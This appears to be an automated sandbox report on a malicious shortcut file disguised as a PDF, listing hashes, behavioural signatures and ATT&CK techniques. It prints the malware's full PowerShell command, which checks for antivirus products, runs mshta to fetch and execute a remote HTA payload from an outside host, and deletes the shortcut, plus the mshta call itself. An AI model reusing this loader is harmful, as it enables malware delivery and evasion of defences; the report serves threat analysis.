1ed0fd59fd0125ae3c9cbd51570119a46fd56a59fe5fff03421ffa62cc5e08b8

Analysis

max time kernel
121s
max time network
140s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
29/02/2024, 05:23

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General

Target

FYI.pdf.lnk
Size

2KB
MD5

7aedf8f8a11a97880b16544588f15683
SHA1

a31781401cc7dac39e62d4812c17cf96f889d350
SHA256

d8dbb40faf7b8585dc9963d2addf23d922c517623a24770e42f91dbe58975194
SHA512

db9be41e532757c4e5cb0cc1a8630000718aeb50bce2c4fa937861f445d4e9f35478e64b78fd273c09ae6fe45e8e4c6a3c5f3600e1948cca23137b90f5ecf14c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://thanhancompany.com/grip/FYI

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2440	mshta.exe
6	2440	mshta.exe
7	2440	mshta.exe
8	2440	mshta.exe

Deletes itself 1 IoCs

pid	Process
2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 2736	1492	cmd.exe	29
PID 1492 wrote to memory of 2736	1492	cmd.exe	29
PID 1492 wrote to memory of 2736	1492	cmd.exe	29
PID 2736 wrote to memory of 2440	2736	powershell.exe	30
PID 2736 wrote to memory of 2440	2736	powershell.exe	30
PID 2736 wrote to memory of 2440	2736	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FYI.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName $env:computername;foreach($u in $j ){if ($u.displayName -replace 'Windows Defender', ''){Exit}}.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://thanhancompany.com/grip/FYI;$EPWZ = Get-Location;$EPWZ = Join-Path $EPWZ 'FYI.pdf.lnk';del $EPWZ
  2⤵
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://thanhancompany.com/grip/FYI
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2736-38-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2736-39-0x00000000025A0000-0x00000000025A8000-memory.dmp

Filesize
32KB

Download
memory/2736-40-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-41-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2736-42-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2736-43-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2736-44-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-45-0x0000000002A80000-0x0000000002B00000-memory.dmp

Filesize
512KB

Download
memory/2736-46-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download